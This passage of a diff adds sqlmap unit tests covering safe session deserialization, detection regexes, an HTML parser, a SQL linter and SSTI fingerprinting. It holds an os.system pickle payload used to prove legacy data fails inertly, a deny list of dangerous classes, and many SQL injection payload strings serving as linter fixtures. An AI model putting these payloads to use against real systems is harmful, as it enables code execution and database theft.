    "), (u"pre", u"suf")] + self.assertEqual(rt(markings), markings) + self.assertTrue(all(isinstance(_, tuple) for _ in rt(markings))) + + def test_abs_file_paths_set(self): + paths = set([u"/var/www/index.php", u"/etc/passwd"]) + restored = rt(paths) + self.assertEqual(restored, paths) + self.assertIsInstance(restored, set) # resume code does an explicit isinstance(_, set) union + + def test_kb_chars_attribdict(self): + chars = AttribDict() + chars.delimiter = u"abcdef" + chars.start = u"//start//" + chars.stop = u"//stop//" + restored = rt(chars) + self.assertIsInstance(restored, AttribDict) + self.assertEqual(restored.delimiter, u"abcdef") + + +class TestSecurity(unittest.TestCase): + def _forged(self, class_name): + # the raw on-wire object wrapper as a hostile session file would hold it (a plain JSON + # object tag; NOT produced via the encoder, which would re-tag a dict as a harmless map) + return json.dumps({_SERIALIZE_TAG: "o", "c": class_name, "s": {}}) + + def test_forbidden_classes_rejected(self): + for name in ("os.system", "subprocess.Popen", "builtins.eval", "__builtin__.eval", + "lib.core.common.shellExec", "lib.core.common.evaluateCode", "lib.core.common.openFile"): + try: + deserializeValue(self._forged(name)) + self.fail("class %r was NOT rejected" % name) + except ValueError as ex: + self.assertIn("forbidden", str(ex), msg="unexpected error for %r: %s" % (name, ex)) + + def test_legacy_payload_fails_inertly(self): + # an OLD session stored base64-of-pickle as TEXT; the new text reader must fail on it + # WITHOUT executing anything (and, in practice, the bumped HASHDB_MILESTONE_VALUE means such + # a value is never even looked up). Use a classic protocol-0 os.system pickle as the payload. + sentinel = os.path.join(tempfile.gettempdir(), "sqlmap_serialize_sentinel_%d" % os.getpid()) + if os.path.exists(sentinel): + os.remove(sentinel) + legacy_pickle = b"cos\nsystem\n(S'touch " + sentinel.encode("ascii", "ignore") + b"'\ntR." + legacy_stored = encodeBase64(legacy_pickle, binary=False) # exactly what old sqlmap wrote + try: + deserializeValue(legacy_stored) # base64 blob is not valid JSON -> raises + except Exception: + pass # any failure is fine; the point is no execution + self.assertFalse(os.path.exists(sentinel), "legacy payload EXECUTED (sentinel created)") + + def test_hashdb_ignores_undecodable_old_value(self): + # the belt-and-suspenders guarantee: even if an un-deserializable (e.g. legacy) value IS + # looked up, HashDB.retrieve() swallows it and returns None - a stale session never crashes + from lib.utils.hashdb import HashDB + + handle, path = tempfile.mkstemp(suffix=".sqlite") + os.close(handle) + os.remove(path) + try: + db = HashDB(path) + db.write("legacy", encodeBase64(b"cos\nsystem\n(S'x'\ntR.", binary=False)) # stored, NOT serialized + db.flush() + db._write_cache.clear() + db._read_cache.cache.clear() + self.assertIsNone(db.retrieve("legacy", unserialize=True)) # must be None, not an exception + db.closeAll() + finally: + if os.path.exists(path): + os.remove(path) + + def test_sqlmap_type_not_in_allowlist_fails_loud(self): + # a sqlmap-own class that is not allowlisted must raise on SERIALIZE (dev-visible), never be + # silently dropped - LRUDict lives in lib.* and is not serializable + self.assertRaises(TypeError, serializeValue, LRUDict(capacity=2)) + + def test_foreign_exotic_value_degrades_to_text(self): + # a non-sqlmap, non-handled scalar degrades to its textual form rather than crashing a session + self.assertEqual(rt(complex(1, 2)), getUnicode(complex(1, 2))) + + +class TestBigArrayDisk(unittest.TestCase): + def test_scalar_chunks_through_disk(self): + ba = BigArray(chunk_size=1) # force one chunk per item -> exercises the on-disk path + source = [] + for i in range(300): + row = (i, u"name%d" % i, decimal.Decimal("%d.25" % i), None, b"\x00\xff") + source.append(row) + ba.append(row) + self.assertGreater(len(ba.chunks), 1) + self.assertEqual(len(ba), 300) + self.assertEqual(list(ba), source) + self.assertEqual(ba[150], source[150]) + self.assertEqual(ba[-1], source[-1]) + + def test_rawpair_chunks_through_disk(self): + ba = BigArray(chunk_size=1) + for i in range(40): + ba.append(RawPair(b"REQ%d" % i, b"RESP%d" % i, startTime=float(i), endTime=float(i) + 1, extendedArguments={u"i": i})) + got = list(ba) + self.assertEqual(len(got), 40) + self.assertTrue(all(isinstance(_, RawPair) for _ in got)) + self.assertEqual(got[7].request, b"REQ7") + self.assertEqual(got[7].extendedArguments, {u"i": 7}) + + +class TestAllowlistGuard(unittest.TestCase): + """CI guard: catch a NEW class becoming serializable before it reaches a user's session.""" + + def test_allowlist_names_resolve_and_stay_in_sync(self): + # every allowlisted name must resolve to a class whose real module.qualname matches - keeps + # convert._SERIALIZE_CLASSES and convert._serializeResolveClass in lockstep (a rename/move/ + # typo of an allowlisted class fails here instead of silently at a user's session load) + from lib.core.convert import _SERIALIZE_CLASSES, _serializeResolveClass + for name in _SERIALIZE_CLASSES: + cls = _serializeResolveClass(name) + self.assertEqual("%s.%s" % (cls.__module__, cls.__name__), name) + + def test_no_undeclared_attribdict_subclass(self): + # AttribDict/InjectionDict carry the session's structured data. A NEW AttribDict subclass that + # ends up stored in the session would be REJECTED by the serializer at a user's runtime. Catch + # it here coverage-INDEPENDENTLY: import the whole tree, then require every AttribDict subclass + # to be declared serializable in convert._SERIALIZE_CLASSES. + from lib.core.convert import _SERIALIZE_CLASSES + from lib.core.datatype import AttribDict + + _import_all_modules() + + offenders = sorted(set( + "%s.%s" % (cls.__module__, cls.__name__) + for cls in _all_subclasses(AttribDict) + ) - set(_SERIALIZE_CLASSES)) + + self.assertEqual(offenders, [], ( + "undeclared AttribDict subclass(es): %s -- if stored in the session, add it to BOTH " + "convert._SERIALIZE_CLASSES and convert._serializeResolveClass (else the safe serializer " + "raises on it at a user's runtime). If it is a runtime-only registry, make it subclass a " + "plain dict instead of AttribDict (see lib.core.unescaper.Unescaper) so it never lands " + "here." % offenders + )) + + def test_known_serializable_classes_present(self): + # lock the intended set: exactly the dict-like data types plus the HAR RawPair. If this list + # legitimately grows, update it here deliberately (a conscious review point). + from lib.core.convert import _SERIALIZE_CLASSES + self.assertEqual(set(_SERIALIZE_CLASSES), set(( + "lib.core.datatype.AttribDict", + "lib.core.datatype.InjectionDict", + "lib.utils.har.RawPair", + ))) + + +class TestHashDBIntegration(unittest.TestCase): + def test_write_retrieve_roundtrip(self): + from lib.utils.hashdb import HashDB + + handle, path = tempfile.mkstemp(suffix=".sqlite") + os.close(handle) + os.remove(path) + try: + inj = InjectionDict() + inj.place = "GET" + inj.parameter = "id" + inj.data[1] = AttribDict() + inj.data[1].title = "boolean-based blind" + inj.data[1].matchRatio = 0.9 + value = [inj] + + db = HashDB(path) + db.write("KB_INJECTIONS", value, serialize=True) + db.flush() + # drop the in-memory caches so retrieve() must SELECT the serialized blob back off + # disk and deserialize it (the real resume path), rather than returning a cached object + db._write_cache.clear() + db._read_cache.cache.clear() + restored = db.retrieve("KB_INJECTIONS", unserialize=True) + db.closeAll() + + self.assertIsInstance(restored, list) + self.assertIsInstance(restored[0], InjectionDict) + self.assertEqual(restored[0].place, "GET") + self.assertTrue(all(isinstance(k, INTS) for k in restored[0].data)) + self.assertEqual(restored[0].data[1].title, "boolean-based blind") + self.assertEqual(restored[0].data[1].matchRatio, 0.9) + finally: + if os.path.exists(path): + os.remove(path) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_settings_regex.py b/tests/test_settings_regex.py new file mode 100644 index 00000000000..ddfceccf75a --- /dev/null +++ b/tests/test_settings_regex.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Compiled-regex battery for lib/core/settings.py. + +settings.py defines ~40 module-level *_REGEX patterns that drive WAF/error/ +charset/IP/title detection. A bad edit to any one of them is a silent failure +(detection just stops firing). This compiles them all and pins the behavior of +the high-traffic detection patterns with positive + negative cases. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.core.settings as S +from lib.core.common import extractRegexResult + + +class TestAllRegexesCompile(unittest.TestCase): + def test_every_regex_constant_compiles(self): + names = [n for n in dir(S) if n.endswith("_REGEX")] + self.assertGreater(len(names), 20, msg="expected many *_REGEX constants") + failures = [] + for name in names: + value = getattr(S, name) + if isinstance(value, str): + # some carry a single %s placeholder (e.g. SENSITIVE_DATA_REGEX) - fill it before compiling + candidate = value.replace("%s", "X") if "%s" in value else value + try: + re.compile(candidate) + except re.error as ex: + failures.append("%s: %s" % (name, ex)) + self.assertEqual(failures, [], msg="non-compiling regexes: %s" % failures) + + +class TestDetectionPatterns(unittest.TestCase): + def test_ip_address(self): + self.assertTrue(re.search(S.IP_ADDRESS_REGEX, "connect to 192.168.0.1 now")) + self.assertFalse(re.search(S.IP_ADDRESS_REGEX, "999.999.999.999")) + + def test_permission_denied(self): + self.assertEqual(extractRegexResult(S.PERMISSION_DENIED_REGEX, "access denied for user 'x'"), + "access denied") + + def test_parameter_splitting(self): + self.assertEqual(re.split(S.PARAMETER_SPLITTING_REGEX, "a,b;c|d"), ["a", "b", "c", "d"]) + + def test_html_title(self): + self.assertEqual(extractRegexResult(S.HTML_TITLE_REGEX, "Hello"), "Hello") + # case-insensitive tag, first-of-two wins, empty/absent -> None (probed) + self.assertEqual(extractRegexResult(S.HTML_TITLE_REGEX, "x"), "x") + self.assertEqual(extractRegexResult(S.HTML_TITLE_REGEX, "AB"), "A") + self.assertIsNone(extractRegexResult(S.HTML_TITLE_REGEX, "")) + self.assertIsNone(extractRegexResult(S.HTML_TITLE_REGEX, "no title here")) + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_sgmllib.py b/tests/test_sgmllib.py new file mode 100644 index 00000000000..4195ed8b1f2 --- /dev/null +++ b/tests/test_sgmllib.py @@ -0,0 +1,278 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tests for lib/utils/sgmllib.py -- the SGML/HTML parser used internally by +sqlmap for page content analysis. Exercises the parser with valid SGML/HTML +constructs and verifies the event stream. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.sgmllib import SGMLParser + + +class RecordingParser(SGMLParser): + """SGMLParser subclass that records parse events AND delegates to parent.""" + + def __init__(self): + SGMLParser.__init__(self) + self.events = [] + + def _gather_data(self): + """Extract concatenated text from data events.""" + return "".join(body for ev in self.events if ev[0] == "data" for body in (ev[1],)) + + def handle_data(self, data): + self.events.append(("data", data)) + + def handle_comment(self, data): + self.events.append(("comment", data)) + SGMLParser.handle_comment(self, data) + + def handle_decl(self, decl): + self.events.append(("decl", decl)) + + def handle_pi(self, data): + self.events.append(("pi", data)) + + def handle_charref(self, name): + self.events.append(("charref", name)) + SGMLParser.handle_charref(self, name) # do the actual conversion -> handle_data + + def handle_entityref(self, name): + self.events.append(("entityref", name)) + SGMLParser.handle_entityref(self, name) # do the actual conversion -> handle_data + + def unknown_starttag(self, tag, attrs): + self.events.append(("start", tag, attrs)) + + def unknown_endtag(self, tag): + self.events.append(("end", tag)) + + def unknown_charref(self, ref): + self.events.append(("unknown_charref", ref)) + + def unknown_entityref(self, ref): + self.events.append(("unknown_entityref", ref)) + + +class TestBasicParsing(unittest.TestCase): + def setUp(self): + self.p = RecordingParser() + + def test_plain_text(self): + self.p.feed("hello world") + self.p.close() + self.assertEqual(self.p._gather_data(), "hello world") + + def test_simple_start_and_end_tag(self): + self.p.feed("

    text

    ") + self.p.close() + self.assertIn(("start", "p", []), self.p.events) + self.assertIn(("data", "text"), self.p.events) + self.assertIn(("end", "p"), self.p.events) + + def test_nested_tags(self): + self.p.feed("
    hello
    ") + self.p.close() + self.assertIn(("start", "div", []), self.p.events) + self.assertIn(("start", "span", []), self.p.events) + self.assertIn(("data", "hello"), self.p.events) + self.assertIn(("end", "span"), self.p.events) + self.assertIn(("end", "div"), self.p.events) + + def test_sgml_shorttag(self): + # SGML shorthand: data + self.p.feed("click') + self.p.close() + start_events = [e for e in self.p.events if e[0] == "start"] + self.assertEqual(len(start_events), 1) + tag, attrs = start_events[0][1], start_events[0][2] + self.assertEqual(tag, "a") + self.assertIn(("href", "/page"), attrs) + self.assertIn(("class", "link"), attrs) + + def test_entity_reference(self): + self.p.feed("x < y & z") + self.p.close() + self.assertEqual(self.p._gather_data(), "x < y & z") + + def test_known_entityref_event(self): + self.p.feed("<") + self.p.close() + self.assertIn(("entityref", "lt"), self.p.events) + + def test_numeric_charref(self): + self.p.feed("A") + self.p.close() + self.assertEqual(self.p._gather_data(), "A") + + def test_comment(self): + self.p.feed("ab") + self.p.close() + self.assertIn(("comment", " comment "), self.p.events) + self.assertEqual(self.p._gather_data(), "ab") + + def test_doctype(self): + self.p.feed("text") + self.p.close() + # The DOCTYPE must be reported as a declaration event (proving it was + # routed through parse_declaration, not mishandled as data) ... + self.assertIn(("decl", "DOCTYPE html"), self.p.events) + # ... and the trailing text must be the only data emitted. + self.assertEqual(self.p._gather_data(), "text") + + def test_empty_input(self): + self.p.feed("") + self.p.close() + self.assertEqual(len(self.p.events), 0) + + def test_feed_in_chunks(self): + for ch in "

    abc

    ": + self.p.feed(ch) + self.p.close() + self.assertIn(("start", "p", []), self.p.events) + self.assertIn(("end", "p"), self.p.events) + self.assertEqual(self.p._gather_data(), "abc") + + def test_multiple_feeds(self): + self.p.feed("

    first

    ") + self.p.feed("

    second

    ") + self.p.close() + starts = [e for e in self.p.events if e[0] == "start"] + self.assertEqual(len(starts), 2) + self.assertEqual(self.p._gather_data(), "firstsecond") + + +class TestEntityConversion(unittest.TestCase): + def test_convert_entityref_known(self): + p = SGMLParser() + self.assertEqual(p.convert_entityref("lt"), "<") + self.assertEqual(p.convert_entityref("gt"), ">") + self.assertEqual(p.convert_entityref("amp"), "&") + self.assertEqual(p.convert_entityref("quot"), '"') + self.assertEqual(p.convert_entityref("apos"), "'") + + def test_convert_entityref_unknown(self): + p = SGMLParser() + self.assertIsNone(p.convert_entityref("unknown")) + + def test_convert_charref_valid(self): + p = SGMLParser() + self.assertEqual(p.convert_charref("65"), "A") + self.assertEqual(p.convert_charref("97"), "a") + + def test_convert_charref_invalid(self): + p = SGMLParser() + self.assertIsNone(p.convert_charref("notanumber")) + self.assertIsNone(p.convert_charref("9999")) # > 127 + + def test_convert_codepoint(self): + p = SGMLParser() + self.assertEqual(p.convert_codepoint(65), "A") + + +class TestCustomEntitydefs(unittest.TestCase): + def test_custom_entity(self): + p = RecordingParser() + p.entitydefs = dict(p.entitydefs) # shadow the shared SGMLParser class dict so 'copy' doesn't leak process-wide + p.entitydefs["copy"] = "\xa9" + p.feed("©") + p.close() + self.assertEqual(p._gather_data(), "\xa9") + + +class TestGetStarttagText(unittest.TestCase): + def test_starttag_text(self): + p = RecordingParser() + p.feed("
    text
    ") + p.close() + # get_starttag_text() must return the exact raw start-tag source, + # verbatim including the original quoting -- not a normalized form. + self.assertEqual(p.get_starttag_text(), "
    ") + + +class TestSetnomoretags(unittest.TestCase): + def test_nomoretags(self): + p = RecordingParser() + p.setnomoretags() + p.feed("

    raw text

    ") + p.close() + self.assertEqual(p._gather_data(), "

    raw text

    ") + + +class TestReset(unittest.TestCase): + def test_reset_clears_parser_state(self): + p = RecordingParser() + p.feed("

    hello

    ") + # verify rawdata is cleared after close + self.assertEqual(p.rawdata, "") + p.reset() + self.assertEqual(p.stack, []) + self.assertEqual(p.lasttag, "???") + + +class TestVerbose(unittest.TestCase): + # In this parser, `verbose` only gates the debug printing emitted by + # report_unbalanced() (an unbalanced for which an end_ + # handler exists). So a meaningful test must trigger that path and + # observe the difference on stdout. + class _Parser(SGMLParser): + def end_b(self): + pass + + def _run(self, verbose): + p = self._Parser() + p.verbose = verbose + _captured = [] + + class _Cap(object): + def write(self, s): + _captured.append(s) + + def flush(self): + pass + + _saved = sys.stdout + sys.stdout = _Cap() + try: + p.feed("
    ") # unbalanced end tag -> report_unbalanced() + p.close() + finally: + sys.stdout = _saved + return "".join(_captured) + + def test_verbose_mode_emits_debug(self): + out = self._run(1) + self.assertIn("*** Unbalanced ", out) + self.assertIn("*** Stack:", out) + + def test_nonverbose_mode_is_silent(self): + self.assertEqual(self._run(0), "") + + +class TestSGMLParseError(unittest.TestCase): + def test_error_class(self): + from lib.utils.sgmllib import SGMLParseError + e = SGMLParseError("test") + self.assertIsInstance(e, RuntimeError) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_sqllint.py b/tests/test_sqllint.py new file mode 100644 index 00000000000..63f409ff10d --- /dev/null +++ b/tests/test_sqllint.py @@ -0,0 +1,201 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests + atom-level SQL coverage for lib/utils/sqllint.py. + +Two concerns: + + 1. Linter self-test - a curated set of well-formed fragments/statements that + must NOT flag, malformed ones that MUST flag, and the cross-dialect edge + cases the linter has learned (==, ::, $/backtick identifiers, LIKE() as a + function, HSQLDB "LIMIT off lim", ...). Guards the linter from regressions. + + 2. Atom-level SQL coverage - every SQL-bearing template in data/xml/queries.xml + and data/xml/payloads.xml, across ALL back-end DBMSes, must lint structurally + clean. This is a coverage gate over the *building blocks* of every query + sqlmap emits. The composed/runtime layer (agent.py wrapping these atoms into + wire payloads) is exercised faithfully by the separate payload-lint walk; a + 0-flag result here means the catalog itself is sound in all 30 dialects. + +A regression (a newly malformed catalog entry, OR a genuinely new valid dialect +construct the linter does not yet understand) makes the relevant test fail with a +pointer to the offending template. + +stdlib unittest only; Python 2.7 and 3.x; pure-ASCII. +""" + +import os +import re +import sys +import unittest +import xml.etree.ElementTree as ET + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from lib.utils.sqllint import checkSanity + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + +# well-formed fragments/statements that must NOT flag +GOOD = ( + "1 AND 1=1", + "1) AND 5108=5108 AND (7936=7936", + "1)) OR 1=1-- -", + "1' AND '1'='1", + "1 UNION ALL SELECT NULL,NULL,CONCAT(0x71,0x62,0x71)-- -", + "1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7176,(SELECT database()),0x71)x FROM information_schema.tables GROUP BY x)a)", + "1 AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),1,1))>64", + "1 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7e,(SELECT version())))", + "SELECT name FROM users WHERE id=1 ORDER BY id", + "SELECT count(*) FROM t WHERE x=1", + "1 WAITFOR DELAY '0:0:5'", +) + +# cross-dialect valid constructs the linter must accept (regression guards for +# the exact false positives that adversarial/catalog runs exposed and fixed) +DIALECT_GOOD = ( + "1 AND id==1", # SQLite '==' equality + "SELECT 1 WHERE (SELECT 1)::text = '1'", # PostgreSQL '::' cast + "SELECT 1 WHERE 9223=LIKE(CHAR(65),UPPER(HEX(1)))", # SQLite LIKE() function + "SELECT NAME FROM SYSMASTER:SYSDATABASES", # Informix 'db:table' + "SELECT $ZVERSION", # InterSystems Cache system var + "SELECT `col` FROM `directory` LIMIT 0,1", # MySQL backtick identifiers + "SELECT LIMIT 0 1 DISTINCT(user) FROM INFORMATION_SCHEMA.SYSTEM_USERS", # HSQLDB space-LIMIT + "SELECT TOP 1 name FROM master..sysdatabases", # MSSQL TOP + db..table + "CONCAT('\\',0x71,(SELECT 1))", # backslash-literal string (ANSI) +) + +# malformed fragments/statements that MUST flag +BAD = ( + "(SELECT id 1 FROM users)", # missing separator + "1 AND 1=(SELECT id 1 FROM users' WHERE tablename='foobar')", # stray quote in scope + "1UNION SELECT NULL", # digit glued to word + "1 AND 5108=5108AND 1=1", # digit glued to keyword + "1 AND 1 = = 1", # doubled operator + "1 AND AND 1=1", # doubled keyword operator + "1 UNION SELECT NULL,,NULL", # empty list item + "1 AND (1=1)(2=2)", # adjacent groups + "SELECT count() FROM t WHERE id=)", # operator before ')' + "SELECT a,b, FROM t", # dangling comma before clause + "1 AND (SELECT [DELIMITER_START]x[DELIMITER_STOP] FROM t)", # leftover templating marker + "1 [ORIGVALUE] AND 1=1", # leftover ORIGVALUE marker + "1 UNI1ON ALL SELECT NULL,NULL", # digit-corrupted UNION + "1 UrNION ALL SELECT NULL", # char-inserted UNION + "SEL2ECT x.z FROM t", # digit-corrupted SELECT + "1 ORD2ER BY 1", # digit-corrupted ORDER + "1 UNIN ALL SELECT NULL", # deletion-typo UNION + "1 UNOIN ALL SELECT NULL", # transposition-typo UNION + "SELCT a FROM t", # deletion-typo SELECT + "1 UNION ALLSELECT NULL", # glued keyword after UNION + "1 AND ORD(MID((SELECT COUNT(x FROM t),1,1))>64", # unbalanced parentheses (dropped ')') + "1 UNION ALL SELECT ,CONCAT(0x71,a,0x71) FROM t", # comma right after SELECT +) + +# cross-dialect valid constructs the near-keyword / comma / digit-glue rules must +# NOT flag (regression guards for false positives the real-identifier stress found) +DIALECT_GOOD_HARD = ( + "SELECT 4images_users FROM t", # digit-STARTED identifier (not '1UNION') + "SELECT a,group,b FROM t", # column literally named 'group' + "SELECT a,order FROM t", # column literally named 'order' + "1 UNION SELECT orders FROM t", # 'orders' near ORDER but a real table +) + +# queries.xml: attributes that carry SQL (not regexes/markers) +_SQL_ATTRS = ("query", "query2", "query3", "count", "count2", "count3", + "condition", "condition2", "condition3", + "keyset_where", "keyset_next", "keyset_first", "keyset_by", "keyset_ordered", "rowid") +_SKIP_TAGS = ("limitregexp", "comment") + + +def _materialize(s): + """Substitute sqlmap's template markers with structurally-neutral values so a + catalog template becomes lintable SQL (mirrors what agent.py fills in).""" + s = s.replace("[QUERY]", "SELECT 1").replace("[UNION]", "UNION SELECT NULL") + s = s.replace("[INFERENCE]", "1=1") + s = re.sub(r"\[RANDNUM\d*\]", "1", s) + s = re.sub(r"\[RANDSTR\d*\]", "abc", s) + s = s.replace("[SLEEPTIME]", "1").replace("[DELAYED]", "1") + for _ in ("[DELIMITER_START]", "[DELIMITER_STOP]", "[COLSTART]", "[COLSTOP]"): + s = s.replace(_, "0x71") + s = s.replace("[ORIGVALUE]", "1").replace("[CHAR]", "NULL").replace("[GENERIC_SQL_COMMENT]", "-- -") + s = s.replace("[SINGLE_QUOTE]", "'").replace("[DOUBLE_QUOTE]", '"').replace("[DB]", "db") + s = s.replace("[SPACE_REPLACE]", " ").replace("[HASH_REPLACE]", "#") + s = s.replace("[DOLLAR_REPLACE]", "$").replace("[AT_REPLACE]", "@") + s = re.sub(r"\[[A-Z][A-Z0-9_]*\]", "1", s) + s = s.replace("%d", "1").replace("%s", "col").replace("%%", "%") + return s + + +def _queries_atoms(): + """{dbms: sorted list of SQL atom strings} from queries.xml.""" + retVal = {} + root = ET.parse(os.path.join(ROOT, "data", "xml", "queries.xml")).getroot() + for dbms in root.iter("dbms"): + atoms = set() + for el in dbms.iter(): + if el.tag in _SKIP_TAGS: + continue + for attr in _SQL_ATTRS: + raw = el.get(attr) + if raw and not raw.strip().isdigit(): + atoms.add(raw) + retVal[dbms.get("value")] = sorted(atoms) + return retVal + + +def _payload_atoms(): + """[(file, stype-title, sql)] from data/xml/payloads/*.xml.""" + import glob + retVal = [] + for path in sorted(glob.glob(os.path.join(ROOT, "data", "xml", "payloads", "*.xml"))): + name = os.path.basename(path) + for test in ET.parse(path).getroot().iter("test"): + title = (test.findtext("title") or "").strip() + for tag in ("payload", "vector", "comparison"): + for el in test.iter(tag): + raw = (el.text or "").strip() + if raw: + retVal.append((name, title, raw)) + return retVal + + +class TestLinterSelf(unittest.TestCase): + def test_well_formed_pass(self): + for sql in GOOD + DIALECT_GOOD + DIALECT_GOOD_HARD: + self.assertEqual(checkSanity(sql), [], "false positive on valid SQL: %r" % sql) + + def test_malformed_flag(self): + for sql in BAD: + self.assertTrue(checkSanity(sql), "missed malformed SQL: %r" % sql) + + def test_nonascii_identifier(self): + # a non-ASCII column name (Turkish dotless-i U+0131) must lex as an identifier, not stray + self.assertEqual(checkSanity(u"SELECT \u0131d,ad FROM users"), []) + + +class TestCatalogCoverage(unittest.TestCase): + def test_queries_xml_clean(self): + atoms = _queries_atoms() + total = 0 + for dbms, items in atoms.items(): + for raw in items: + total += 1 + issues = checkSanity(_materialize(raw)) + self.assertEqual(issues, [], + "queries.xml [%s] malformed atom: %r -> %s" % (dbms, raw, issues)) + self.assertGreater(total, 1000) # sanity: the catalog was actually walked + + def test_payloads_xml_clean(self): + items = _payload_atoms() + for name, title, raw in items: + issues = checkSanity(_materialize(raw)) + self.assertEqual(issues, [], + "%s malformed payload atom (%s): %r -> %s" % (name, title, raw, issues)) + self.assertGreater(len(items), 500) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_sqlparse.py b/tests/test_sqlparse.py new file mode 100644 index 00000000000..afe204ecb5c --- /dev/null +++ b/tests/test_sqlparse.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +SQL/string parsing helpers: field splitting and 0-depth (paren+quote aware) +scanning, query cleanup, regex extraction. +Includes regression cases for the quote-awareness bugs fixed previously. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import splitFields, zeroDepthSearch, cleanQuery, extractRegexResult + + +class TestSplitFields(unittest.TestCase): + CASES = [ + ("a,b", ["a", "b"]), + ("user,password", ["user", "password"]), + ("a,b,c", ["a", "b", "c"]), + ("a", ["a"]), + ("max(a,b)", ["max(a,b)"]), # paren-protected + ("max(a, b),c", ["max(a,b)", "c"]), # ', ' normalized; outer split + ("COUNT(*),name", ["COUNT(*)", "name"]), + ("f(g(x,y),z),h", ["f(g(x,y),z)", "h"]), # nested parens + ("'a,b'", ["'a,b'"]), # REGRESSION: comma in single-quoted literal + ("'a,b','c|d','e&f'", ["'a,b'", "'c|d'", "'e&f'"]), # REGRESSION + ('"x,y",z', ['"x,y"', "z"]), # double-quoted literal + ] + + def test_table(self): + for inp, expected in self.CASES: + self.assertEqual(splitFields(inp), expected, msg="splitFields(%r)" % inp) + + +class TestZeroDepthSearch(unittest.TestCase): + def test_quote_awareness(self): + # ' FROM ' inside a literal must NOT be a clause boundary (regression) + self.assertEqual(zeroDepthSearch("SELECT 'x FROM y'", " FROM "), []) + # a real FROM must be found (exactly once here) + self.assertEqual(len(zeroDepthSearch("SELECT a FROM t", " FROM ")), 1) + + def test_paren_awareness(self): + self.assertEqual(zeroDepthSearch("a(,)b,c", ","), [5]) # only the depth-0 comma + + def test_doctest_vectors(self): + q = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL" + hits = zeroDepthSearch(q, "FROM") + self.assertTrue(hits, "no depth-0 FROM found") # guard: avoid a confusing IndexError + self.assertEqual(q[hits[0]:], "FROM DUAL") # outer FROM only + s = "a(b; c),d;e" + hits = zeroDepthSearch(s, "[;, ]") + self.assertTrue(hits) + self.assertEqual(s[hits[0]:], ",d;e") # char-class form + + +class TestCleanQuery(unittest.TestCase): + def test_keyword_uppercasing(self): + self.assertEqual(cleanQuery("select a from t"), "SELECT a FROM t") + # mixed case keywords get uppercased; non-keyword identifiers are preserved verbatim + self.assertEqual(cleanQuery("seLeCt a fRoM t"), "SELECT a FROM t") + self.assertEqual(cleanQuery("SELECT 1"), "SELECT 1") # already-upper unchanged + + def test_idempotent(self): + for q in ["select a from t", "SELECT 1", "select x where y=1 order by z"]: + once = cleanQuery(q) + self.assertEqual(cleanQuery(once), once) + # idempotence alone would pass even if cleanQuery uppercased EVERYTHING; anchor that it + # uppercases keywords but preserves the lowercase identifier + self.assertEqual(cleanQuery("select a from t"), "SELECT a FROM t") + + +class TestExtractRegexResult(unittest.TestCase): + def test_named_group(self): + self.assertEqual(extractRegexResult(r"id=(?P\d+)", "id=42"), "42") + self.assertIsNone(extractRegexResult(r"id=(?P\d+)", "no match here")) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_ssti.py b/tests/test_ssti.py new file mode 100644 index 00000000000..2a05ddd3c62 --- /dev/null +++ b/tests/test_ssti.py @@ -0,0 +1,615 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline tests for the SSTI detection and fingerprinting engine. Mock _send() stands +in for the HTTP/Jinja2 layer so engine table integrity, arithmetic proof, error +detection, boolean oracle, distinguishing probes, and fingerprinting can be +exercised without a live target. +""" + +import unittest + +from _testutils import bootstrap +bootstrap() + +import lib.techniques.ssti.inject as ssti + + +class TestHelpers(unittest.TestCase): + def test_ratio(self): + self.assertGreater(ssti._ratio("abc", "abc"), 0.9) + self.assertLess(ssti._ratio("abc", "xyz"), 0.5) + + def test_delim(self): + from lib.core.enums import PLACE + self.assertEqual(ssti._delim(PLACE.GET), '&') + self.assertEqual(ssti._delim(PLACE.COOKIE), ';') + + +class TestEngineTable(unittest.TestCase): + def test_all_engines_have_required_fields(self): + for engine in ssti._ENGINE_TABLE: + self.assertTrue(len(engine.name) > 0) + self.assertTrue(len(engine.delimiter) > 0) + + def test_arithmetic_engines_have_format_strings(self): + noArith = ("Velocity", "Handlebars") + for engine in ssti._ENGINE_TABLE: + if engine.name not in noArith: + self.assertIn("%d", engine.arithmeticFmt, + "Engine '%s' arithmeticFmt must contain %%d placeholders" % engine.name) + + def test_error_probes_present(self): + for engine in ssti._ENGINE_TABLE: + if engine.errorRegex: + self.assertTrue(len(engine.errorProbes) > 0, + "Engine '%s' has errorRegex but no errorProbes" % engine.name) + + def test_distinguishing_probes_for_curly_engines(self): + curlyEngines = [e for e in ssti._ENGINE_TABLE if e.delimiter == "{{"] + withProbes = [e for e in curlyEngines if e.distinguishingProbe] + # Jinja2 and Twig are distinguished by 